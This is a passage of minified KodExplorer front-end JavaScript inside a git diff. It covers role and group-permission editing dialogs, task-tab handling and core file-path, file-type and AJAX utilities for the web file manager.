Tips.tips(LNG.group_role_error,"warning"),void 0;var e=$(".group_editor #name").val(),a=$(".group_editor #ext_not_allow").val(),n={},o="index.php?system_role/add";return void 0==a&&(a=""),""==e?(Tips.tips(LNG.not_null,"error"),!1):($(".group_editor .tag.this").each(function(){for(var e=$(this).attr("data-role").split(";"),t=0;e.length>t;t++)n[e[t]]=1}),"1"==t&&n!={}&&(n={}),"0"!=t&&(o="index.php?system_role/edit&role_id="+t),$.ajax({url:o+"&name="+urlEncode(e)+"&ext_not_allow="+a,data:n,type:"POST",dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=e.info,i(),System.systemMember.loadList(""))}}),void 0)},s=function(e){return G.is_root?($.dialog({fixed:!0,icon:"question",padding:"30px 40px",drag:!0,title:LNG.warning,content:LNG.if_remove+c(e)+"?<br/>"+LNG.group_remove_tips,cancel:!0,ok:function(){$.ajax({url:"index.php?system_role/del&role_id="+e,async:!1,dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=void 0,i(),System.systemMember.resetList(),System.systemMember.loadList(""))}})}}),void 0):(Tips.tips(LNG.group_role_error,"warning"),void 0)},r=function(){$(".group_editor .tag").each(function(){$(this).hasClass("this")?($(this).removeClass("this"),$(this).find("input").removeAttr("checked")):($(this).addClass("this"),$(this).find("input").attr("checked",!0)),$(".group_editor .combox:eq(0) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(0) .tag").removeClass("this"),$(".group_editor .combox:eq(0) .tag").find("input").removeAttr("checked")),$(".group_editor .combox:eq(1) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(1) .tag").removeClass("this"),$(".group_editor .combox:eq(1) .tag").find("input").removeAttr("checked"))})},l=function(){$(".group_editor .tag").live("click",function(){var e=$(this);if(select=!1,e.toggleClass("this"),e.hasClass("this")?(select=!0,e.find("input").attr("checked",!0)):(select=!1,e.find("input").removeAttr("checked")),e.parent().hasClass("combox")){var t=e.index();1==t&&0==select&&(e.parent().find(".tag").removeClass("this"),e.parent().find("input").removeAttr("checked")),1!=t&&1==select&&(e.parent().find(".tag:eq(0)").addClass("this"),e.parent().find("input:eq(0)").attr("checked",!0))}}),$(".system_role li.role_cell").live("click",function(){n($(this).attr("data-role-id"))}),$("#content_system_role [data-action]").live("click",function(e){var i=$(this).attr("data-action");switch($(this),i){case"role_delete":s(t);break;case"role_edit_save":o();break;case"revert_all":r();break;default:}stopPP(e)})},c=function(t){var i=e[t];return i?i.name:'<span style="color:#f00">null</span>'},d=function(){var t={};return $.each(e,function(e,i){t[e]=i.name}),t};return l(),{init:i,getList:d,setSelect:n}}),define("app/src/setting/system/system_group_role",[],function(e){var t,i,a=function(e){n(),p(),"function"==typeof e&&e()},n=function(){$.get("./index.php?&system_role/role_group_action&action=get",function(e){t=e.data,i=e.info})},o=function(){System.systemMember.resetUserList()},s=function(){var a=e("./tpl/group_role_setting.html"),n=template.compile(a),o=n({LNG:LNG,groupRoleData:t,roleDefine:i,style:["blue-deep","blue-nomal","blue-light","grey-deep","grey-nomal","grey-light","yellow-deep","yellow-nomal","yellow-light","green-deep","green-nomal","green-light"]});$.dialog({id:"system_role_group_box",resize:!0,width:700,height:580,title:LNG.system_group_role_title,padding:"0",opacity:.3,background:"#fff",lock:!0,fixed:!0,content:o}),r()},r=function(e){var i="";$.each(t,function(e,t){i+='<a class="role_cell" data-role-id="'+e+'"><span>'+t.name+'</span><i class="sub_menu icon-angle-right"></i></a>'}),i+='<a class="role_cell role_cell_add" data-role-id="0"><i class="icon-plus"></i></a>',$(".group_role_setting .role_list_cell").html(i),void 0==e&&(e="1"),l(e)},l=function(e){var i=t[e],a=$(".group_role_setting"),n=$(".system_group_role_save"),o=$(".system_group_role_remove");a.find(".role_cell").removeClass("select"),a.find("[data-role-id="+e+"]").addClass("select"),n.html(LNG.button_save),o.removeClass("hidden"),i||(i={name:"",style:"blue-deep",display:1,actions:[]},n.html(LNG.button_add),o.addClass("hidden")),a.find("[name=name]").val(i.name),a.find("[name=display]").prop("checked",parseInt(i.display)),a.find(".role-label-display").html(i.name),a.find(".group_role_check .checkbox").prop("checked",!1),$.each(i.actions,function(e,t){1==t&&a.find('[data-role="'+e+'"]').prop("checked",!0)}),d(i.style),c()},c=function(){$(".item_main[data-role-group]").each(function(){$(this).attr("data-role-group"),$(this).next().find(".checkbox").length;var e=$(this).next().find(".checkbox:checked").length;0==e?$(this).find(".checkbox").prop("checked",!1):$(this).find(".checkbox").prop("checked",!0)})},d=function(e){var t=".group_role_setting";$(t).find(".role-style").removeClass("select"),$(this).addClass("select");var i=$(t).find("[name=style]"),a=$(t+" .role-label-display");a.removeClass("label-"+i.val()).addClass("label-"+e),i.val(e)},p=function(){var e=".group_role_setting";$(e).find(".role_cell").die("click").live("click",function(){var e=$(this).attr("data-role-id");l(e)}),$(e).find(".item_main").die("click").live("click",function(){var e=$(this).attr("data-role-group"),t=$(this).find("input").prop("checked");$("[data-role-group="+e+"] .checkbox").prop("checked",t)}),$(e).find(".group_role_check .content .item").die("click").live("click",function(){c()}),$(e).find(".role-style").die("click").live("click",function(){var e=$(this).attr("data-style");d(e)}),$(e).find("[name=name]").die("input propertychange").live("input propertychange",function(){$(e).find(".role-label-display").html($(this).val())}),$(".system_group_role_save").die("click").live("click",function(){var i=$(e).find(".role_cell.select").attr("data-role-id"),a="set";"0"==i&&(a="add");var n={};$(e).find(".group_role_check .content .checkbox").each(function(){var e=$(this).attr("data-role"),t=Number($(this).prop("checked"));n[e]=t});var s={name:$(e).find("[name=name]").val(),style:$(e).find("[name=style]").val(),display:Number($(e).find("[name=display]").prop("checked")),actions:n};$.ajax({url:"./index.php?&system_role/role_group_action&action="+a+"&role_id="+i,beforeSend:function(){Tips.loading()},data:"role_arr="+jsonEncode(s),error:core.ajaxError,success:function(e){if(Tips.close(e),e.code){t=e.info,o();var n=i;"add"==a&&(n=e.data[0]),r(n)}}})}),$(".system_group_role_remove").die("click").live("click",function(){var t=$(e).find(".role_cell.select").attr("data-role-id");return"1"==t||"2"==t?(Tips.tips(LNG.default_user_can_not_do,"warning"),void 0):(f(t),void 0)})},f=function(e){$.dialog({id:"dialog_user_confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:LNG.system_group_role_remove,ok:function(){$.ajax({url:"./index.php?&system_role/role_group_action&action=del&role_id="+e,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&(t=e.info,r(),o())}})},cancel:!0})};return{init:a,showBox:s,getList:function(){return t}}}),define("app/src/setting/system/tpl/group_role_setting.html",[],'<!-- 群组成员权限管理 -->\n<div class=\'content_box group_role_setting\'>\n <div class=\'content_info\'>\n <div class="left_content role_list_cell"></div>\n <div class="right_content">\n <div class="panel-body system_group_role_content">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.name}}:</div>\n <div class="setting_content">\n <input type="text" name="name" value="" /><i class="desc"></i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.system_group_role_style}}:</div>\n <div class="setting_content">\n <input type="button" value="blue-deep" name="style" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown"/>\n <span class="role-label-display label label-blue-deep"></span>\n <ul class="dropdown-menu pull-right animated menuShow">\n {{each style as value key}}\n <li class="role-style" data-style="{{value}}">\n <a href="javascript:void(0);" draggable="false"><span class="label label-{{value}}">label</span> {{value}}</a>\n </li>\n {{/each}}\n </ul>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.system_group_role_display}}:</div>\n <div class="setting_content">\n <label>\n <input type="checkbox" class="kui-checkbox-ios size-big" name="display" checked="checked" /><em></em>\n <i class="desc">{{LNG.system_group_role_display_desc}}</i>\n </label>\n </div>\n </div>\n \n <div class="form_row line"></div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.permission}}:</div>\n <div class="setting_content group_role_check">\n {{each roleDefine as value key}}\n <div class="item item_main" data-role-group=\'{{key}}\'>\n <label>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue">\n <span>{{LNG[\'role_type_name_\'+key]}}</span>\n </label>\n </div>\n\n <div class="content" data-role-group=\'{{key}}\'>\n {{each value as valueAction keyItem}}\n <div class="item">\n <label>\n <input type="checkbox" data-role=\'{{key}}:{{keyItem}}\' class="checkbox kui-checkbox size-smallx blue">\n <span>{{LNG[\'role_type_name_\'+key+\':\'+keyItem]}}</span>\n </label>\n </div>\n {{/each}}\n </div>\n {{/each}}\n </div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row from_row_submit">\n <div class="setting_content">\n <button class="btn btn-default system_group_role_save">{{LNG.button_save}}</button>\n <button class="btn btn-remove system_group_role_remove">{{LNG.button_del}}</button>\n </div>\n </div>\n </div>\n </div>\n\n </div>\n</div>\n'); \ No newline at end of file diff --git a/static/js/app/src/share_editor/main.js b/static/js/app/src/share_editor/main.js index d4eeb1f..1f791c8 100755 --- a/static/js/app/src/share_editor/main.js +++ b/static/js/app/src/share_editor/main.js @@ -1,6 +1,6 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/share_editor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../share_common/rightMenu","./ui","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../../share_common/topbar"],function(e){Config={TreeId:"folderList",AnimateTime:200,pageApp:"editor",treeAjaxURL:"index.php?share/treeList&app=editor&user="+G.user+"&sid="+G.sid},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),ui=e("./ui"),tree=e("../../common/tree"),ui.tree=tree;var t=e("../../share_common/topbar");$(document).ready(function(){core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),t.init(),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),TaskTap.init(),rightMenu.initEditor()})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,n=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},a=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var n=$("."+t);"hidden"==n.css("visibility")?i.display(!0).zIndex():n.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,n,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&a(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),n=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var a=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),n.css({width:d+"px",top:a,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var a=i.clientX-l+c;f>a||a>f+u-d||(n.css("left",a),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(a>t&&t+d/2+p>a){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(a>t-d/2+p&&t>a){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(n,a){if(!e.is(":animated")||o!=n){o=n,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+n),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==a?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=n&&(c=e.get(0).getBoundingClientRect().left,n.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,n=t,a=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/a);switch(r>l&&(n=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:n+"px"},i);case"close":o.animate({width:n+"px"},i);break;case"resize":o.css("width",n+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var n=i.replace(/<[^>]+>/g,""),a='<div class="tab taskBarMenu" id="'+t+'" title="'+n+'">'+i+"</div>";$(a).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"dialog_quite":n.close();break;case"dialog_min":n._clickMin(!1);break;case"dialog_max":n._clickMax();break;case"refresh":n.refresh();break;case"open_window":n.open_window();break;case"qrcode":core.qrcode(n.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":n.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),n(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var n={};n[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},n[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},n[G.KOD_GROUP_SHARE]={icon:"groupGuest"},n[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},n[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},n[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},n[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var a=n[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?a={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(a={icon:"groupSelfOwner"}),void 0==a&&(a={icon:"",name:""}),void 0==a.name&&(a.name=t),a},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],n=!1;return-1!==$.inArray(t[0],i)&&(n=!0),n},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),n=t.substr(i+1);if(0==n.search("fileProxy")){n=urlDecode(n.substr(n.search("&path=")));var a=n.split("/");n=a[a.length-1],""==n&&(n=a[a.length-2])}return n},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,n=this.pathClear(e);this.pathExt(n);var a=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&n.substring(0,G.web_root.length)==G.web_root?i=G.web_host+a(n.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(n),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(n))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var n="filename";"http"==e.substr(0,4)&&(n="file_url");var a="./index.php?editor/fileGet&"+n+"="+urlEncode(e);G.share_page!==void 0&&(a="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+n+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(a=e),$.ajax({url:a,dataType:"json",error:function(e,t,n){core.ajaxError(e,t,n),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,a)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),n="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:n})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,n){if(e){void 0==n&&(n="openDialog"+UUID());var a="<iframe frameborder='0' name='Open"+n+"' src='"+htmlEncode(e)+"' 